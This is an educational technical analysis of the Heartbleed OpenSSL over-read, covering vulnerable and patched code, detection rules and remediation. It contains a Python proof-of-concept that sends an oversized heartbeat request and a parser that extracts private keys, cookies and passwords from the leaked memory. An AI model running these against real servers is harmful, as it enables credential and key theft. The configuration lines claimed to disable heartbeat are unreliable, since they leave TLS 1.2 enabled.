Heartbleed (CVE-2014-0160): Technical Analysis of the OpenSSL Buffer Over-Read
Introduction
Heartbleed (CVE-2014-0160) was one of the most critical security vulnerabilities in internet history, affecting approximately 17% of all secure web servers. Understanding this bug is essential for secure systems programming and vulnerability analysis.
TLS Heartbeat Extension
RFC 6520 Background
The heartbeat extension allows testing TLS connection liveness without renegotiation:
/* RFC 6520 Heartbeat Protocol */
struct {
HeartbeatMessageType type; // request (1) or response (2)
uint16 payload_length; // Length of payload
opaque payload[HeartbeatMessage.payload_length];
opaque padding[16..]; // Minimum 16 bytes random padding
} HeartbeatMessage;
Purpose: Keep-alive mechanism without TCP/IP overhead.
Intended Behavior
def heartbeat_request(connection, payload):
"""
Legitimate heartbeat request/response
"""
# Client sends heartbeat request
request = {
'type': HEARTBEAT_REQUEST,
'payload_length': len(payload),
'payload': payload,
'padding': os.urandom(16)
}
send_to_server(connection, request)
# Server should echo back the same payload
response = receive_from_server(connection)
assert response['type'] == HEARTBEAT_RESPONSE
assert response['payload'] == payload # Exact echo
assert len(response['payload']) == len(payload)
return True # Connection alive
The Vulnerability
Vulnerable Code (OpenSSL 1.0.1)
The bug was in ssl/d1_both.c and ssl/t1_lib.c:
/* Vulnerable heartbeat handling code */
int dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;
/* Read type and payload length */
hbtype = *p++; // 1 byte: request/response
n2s(p, payload); // 2 bytes: payload length
pl = p; // Pointer to payload
if (hbtype == TLS1_HB_REQUEST) {
unsigned char *buffer, *bp;
int r;
/* Allocate memory for response
* BUG: Uses attacker-controlled 'payload' value!
* No validation that payload <= actual data length
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
/* Build response */
*bp++ = TLS1_HB_RESPONSE; // Type
s2n(payload, bp); // Echo payload length
/* VULNERABILITY: Memcpy using attacker-controlled length!
* If payload > actual_data_length, reads beyond buffer
*/
memcpy(bp, pl, payload); // ← BUFFER OVER-READ
bp += payload;
/* Add random padding */
RAND_pseudo_bytes(bp, padding);
/* Send response */
r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer,
3 + payload + padding);
OPENSSL_free(buffer);
return r;
}
return 0;
}
The bug: Line with memcpy(bp, pl, payload) uses attacker-controlled payload without validating it matches actual data received.
Visualization
Legitimate request (payload_length = 4):
+------+--------+----------+----------+
| Type | Length | Payload | Padding |
+------+--------+----------+----------+
| 01 | 0004 |"test" | random |
+------+--------+----------+----------+
^^^^
Matches actual payload size ✓
Malicious request (payload_length = 65535):
+------+--------+----------+----------+
| Type | Length | Payload | Padding |
+------+--------+----------+----------+
| 01 | FFFF |"A" | random |
+------+--------+----------+----------+
^^^^^
Claims 65535 bytes, but only 1 byte sent!
Server response (reads 65535 bytes from memory):
+------+--------+----------------------------------+
| Type | Length | Leaked Memory (65534 bytes) |
+------+--------+----------------------------------+
| 02 | FFFF |"A" + private keys, session data, |
| | | passwords, cookies, etc... |
+------+--------+----------------------------------+
Exploitation
Proof of Concept
import socket
import struct
def heartbleed_exploit(target_host, target_port=443):
"""
Heartbleed exploitation
CVE-2014-0160 PoC
"""
# Build malicious TLS handshake
client_hello = build_client_hello()
# Connect to target
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
# Send ClientHello
sock.send(client_hello)
# Receive ServerHello (skip for brevity)
server_hello = sock.recv(4096)
# Build malicious heartbeat request
heartbeat = build_malicious_heartbeat(
payload=b'A', # 1 byte actual payload
claimed_length=65535 # Claim 65535 bytes!
)
# Send malicious heartbeat
sock.send(heartbeat)
# Receive response (contains leaked memory!)
leaked_data = sock.recv(65535)
sock.close()
return leaked_data
def build_malicious_heartbeat(payload, claimed_length):
"""
Construct malicious heartbeat record
"""
# TLS record header
record_type = 0x18 # Heartbeat
tls_version = struct.pack('>H', 0x0301) # TLS 1.0
# Heartbeat message
hb_type = 0x01 # Request
hb_length = struct.pack('>H', claimed_length) # Lie about length!
# Combine
hb_message = bytes([hb_type]) + hb_length + payload
# TLS record
record_length = struct.pack('>H', len(hb_message))
tls_record = (
bytes([record_type]) +
tls_version +
record_length +
hb_message
)
return tls_record
def build_client_hello():
"""Build minimal ClientHello with heartbeat extension"""
# TLS record header
record = bytearray([
0x16, # Handshake
0x03, 0x01, # TLS 1.0
0x00, 0x00, # Length (filled later)
])
# ClientHello message
handshake = bytearray([
0x01, # ClientHello
0x00, 0x00, 0x00, # Length (filled later)
0x03, 0x01, # TLS 1.0
])
# Client random (32 bytes)
handshake.extend(b'\x00' * 32)
# Session ID (empty)
handshake.append(0x00)
# Cipher suites (minimal)
handshake.extend([0x00, 0x02, 0x00, 0x35]) # TLS_RSA_WITH_AES_256_CBC_SHA
# Compression (null)
handshake.extend([0x01, 0x00])
# Extensions
extensions = bytearray()
# Heartbeat extension (0x000F)
heartbeat_ext = struct.pack('>HH', 0x000F, 0x0001) + b'\x01'
extensions.extend(heartbeat_ext)
# Add extensions to handshake
handshake.extend(struct.pack('>H', len(extensions)))
handshake.extend(extensions)
# Update lengths
record[3:5] = struct.pack('>H', len(handshake))
handshake[1:4] = struct.pack('>I', len(handshake) - 4)[1:]
return bytes(record + handshake)
Real-World Exploitation
def extract_sensitive_data(leaked_memory):
"""
Parse leaked memory for sensitive information
"""
findings = {
'private_keys': [],
'session_keys': [],
'cookies': [],
'passwords': [],
'usernames': [],
}
# Look for PEM private key markers
if b'-----BEGIN PRIVATE KEY-----' in leaked_memory:
start = leaked_memory.find(b'-----BEGIN')
end = leaked_memory.find(b'-----END', start) + 25
findings['private_keys'].append(leaked_memory[start:end])
# Look for session identifiers
import re
session_pattern = rb'[A-Fa-f0-9]{64}' # 32-byte hex session ID
findings['session_keys'] = re.findall(session_pattern, leaked_memory)
# Look for HTTP cookies
cookie_pattern = rb'Cookie: ([^\r\n]+)'
findings['cookies'] = re.findall(cookie_pattern, leaked_memory)
# Look for basic auth headers
auth_pattern = rb'Authorization: Basic ([A-Za-z0-9+/=]+)'
encoded_creds = re.findall(auth_pattern, leaked_memory)
for cred in encoded_creds:
import base64
try:
decoded = base64.b64decode(cred)
if b':' in decoded:
findings['usernames'].append(decoded.split(b':')[0])
findings['passwords'].append(decoded.split(b':')[1])
except:
pass
return findings
Impact Analysis
Data Exposure Scenarios
def analyze_leaked_data_impact(num_requests=1000):
"""
Estimate what data could be leaked
Each request leaks 64KB of server memory
"""
total_leaked = num_requests * 65535 # bytes
print(f"Total data potentially leaked: {total_leaked / 1024 / 1024:.1f} MB")
# What could be in server memory?
possible_leaks = [
"Private keys (RSA, ECDSA)",
"Session keys and tokens",
"User credentials (passwords, API keys)",
"HTTP request/response data",
"Cookies and session IDs",
"TLS master secrets",
"Certificate private keys",
"Database connection strings",
"Internal API tokens",
"Other users' personal information"
]
# Example: If server handles 1000 concurrent connections
# Each with 64KB session buffer
# Total exposed: 64 MB of active session data
concurrent_sessions = 1000
session_buffer_size = 65536
print(f"\nWith {concurrent_sessions} concurrent sessions:")
print(f"Potential exposure: {concurrent_sessions * session_buffer_size / 1024 / 1024:.1f} MB")
print("\nPossible leaked data:")
for leak in possible_leaks:
print(f" - {leak}")
Real Incidents
Reported impacts:
- Canadian Revenue Agency: 900 social insurance numbers stolen
- Mumsnet: User account details compromised
- Various hosting providers: Private SSL keys extracted
Detection
Server-Side Detection
def detect_heartbleed_attack(heartbeat_request):
"""
Detect Heartbleed exploitation attempts
"""
# Parse heartbeat message
hb_type = heartbeat_request[0]
claimed_length = struct.unpack('>H', heartbeat_request[1:3])[0]
actual_payload_length = len(heartbeat_request) - 3 - 16 # Minus header and padding
# Check for mismatch
if claimed_length > actual_payload_length:
# ATTACK DETECTED!
log_security_event({
'type': 'heartbleed_attempt',
'claimed_length': claimed_length,
'actual_length': actual_payload_length,
'source_ip': get_client_ip(),
'timestamp': time.time()
})
# Drop connection
return False
# Check for abnormally large requests
if claimed_length > 16384: # Max TLS record is 16KB
log_security_event({
'type': 'suspicious_heartbeat',
'length': claimed_length
})
return False
return True # Legitimate
Network-Based Detection (IDS)
# Snort rule for Heartbleed detection
SNORT_RULE = '''
alert tcp any any -> any 443 (
msg:"HEARTBLEED - TLS Heartbeat Request with large payload";
flow:to_server,established;
content:"|18 03|"; # TLS Heartbeat record
content:"|01|"; # Heartbeat request
byte_test:2,>,0x0200,2,relative; # Payload > 512 bytes
reference:cve,2014-0160;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
'''
Patch Analysis
Fixed Code (OpenSSL 1.0.1g+)
/* Fixed heartbeat handling */
int dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;
/* Read type and payload length */
hbtype = *p++;
n2s(p, payload);
pl = p;
/* FIX 1: Validate payload length against actual record length */
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0; /* Silently discard invalid request */
/* FIX 2: Bounds check on payload */
if (payload > 16384) /* RFC 6520: max payload 2^14 bytes */
return 0;
if (hbtype == TLS1_HB_REQUEST) {
unsigned char *buffer, *bp;
int r;
/* Allocate memory */
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
/* Build response */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
/* FIXED: payload is now validated */
memcpy(bp, pl, payload); /* Safe - payload <= actual data */
bp += payload;
RAND_pseudo_bytes(bp, padding);
r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer,
3 + payload + padding);
OPENSSL_free(buffer);
return r;
}
return 0;
}
Key fixes:
- Validate
payload≤ actual record length - Enforce RFC maximum (16384 bytes)
- Silently discard invalid requests
Mitigation Strategies
Immediate Response (April 2014)
# 1. Check if vulnerable
openssl version -a
# Vulnerable: OpenSSL 1.0.1 through 1.0.1f
# 2. Update OpenSSL immediately
apt-get update
apt-get install openssl libssl1.0.0
# 3. Restart all services using OpenSSL
systemctl restart apache2
systemctl restart nginx
systemctl restart postfix
# ... restart all TLS services
# 4. Revoke and reissue ALL certificates
# (Private keys may have been compromised!)
openssl req -new -key server.key -out new.csr
# Submit to CA for new certificate
# 5. Invalidate all user sessions
# (Session keys/cookies may have been stolen)
redis-cli FLUSHDB # Clear session store
Configuration Changes
# Nginx: Disable heartbeat extension
ssl_protocols TLSv1.2 TLSv1.3; # TLS 1.3 has no heartbeat
# Apache: Disable with mod_ssl
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
# Upgrade to version without heartbeat support
Long-Term Prevention
/* Defensive programming principles */
// 1. Always validate array bounds
if (index >= array_length) {
return ERROR_INVALID_INDEX;
}
// 2. Use safe memory functions
// Instead of: memcpy(dest, src, user_controlled_length);
// Use:
size_t safe_length = min(user_controlled_length, MAX_ALLOWED);
if (safe_length > dest_buffer_size) {
return ERROR_BUFFER_OVERFLOW;
}
memcpy(dest, src, safe_length);
// 3. Validate all user input
if (!validate_input(user_data, min, max)) {
return ERROR_INVALID_INPUT;
}
// 4. Use AddressSanitizer during testing
// gcc -fsanitize=address program.c
// Detects buffer overflows at runtime
Lessons Learned
Code Review Failures
Why wasn’t this caught?
/* The vulnerable code was reviewed and committed */
// OpenSSL commit: 4817504d069b4c5082161b02a22116ad75f822b1
// Date: 2011-12-31
// Author: Dr. Stephen Henson
// Issue: Code review focused on feature implementation,
// not security implications of using untrusted input
Checklist failures:
- ❌ Input validation not verified
- ❌ Bounds checking not enforced
- ❌ No fuzzing with malformed inputs
- ❌ Limited security-focused code review
Fuzzing Would Have Detected This
def fuzz_heartbeat_handler():
"""
Fuzzing that would have found Heartbleed
"""
import random
for _ in range(10000):
# Generate random heartbeat messages
payload_length = random.randint(0, 70000) # Include invalid lengths
actual_payload = os.urandom(random.randint(0, 100))
# Build malformed message
message = build_heartbeat(
type=random.choice([0, 1, 2, 255]), # Invalid types
claimed_length=payload_length,
actual_payload=actual_payload
)
# Test handler
try:
result = process_heartbeat(message)
# Check for buffer over-read
if len(result) > len(actual_payload) + 19: # Header + padding
print(f"BUG FOUND: Over-read detected!")
print(f" Claimed: {payload_length}")
print(f" Actual: {len(actual_payload)}")
print(f" Returned: {len(result)}")
return # Bug found!
except Exception as e:
# Crashes are also bugs
print(f"CRASH: {e}")
# If this fuzzing had been run, Heartbleed would have been
# detected before release!
Conclusion
Heartbleed demonstrates that even minor implementation bugs in critical security code can have catastrophic consequences. The vulnerability existed for over two years before discovery, affecting millions of servers.
Key takeaways:
- Input validation is critical - Never trust user-supplied lengths
- Fuzzing is essential - Random/malformed inputs catch edge cases
- Defense in depth - Multiple validation layers prevent exploitation
- Incident response planning - Coordinate patching, key rotation, session invalidation
- Open source security - More eyes don’t guarantee security without active auditing
Modern OpenSSL versions (1.0.1g+, 1.0.2+, 1.1.0+, 3.0+) are not vulnerable. Organizations should maintain current versions and follow security best practices.
References
- CVE-2014-0160 - Heartbleed Vulnerability
- RFC 6520 - Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) Heartbeat Extension
- Durumeric, Z., et al. (2014). “The Matter of Heartbleed”
- Synopsys (2014). “The Heartbleed Bug: Anatomy of a Catastrophe”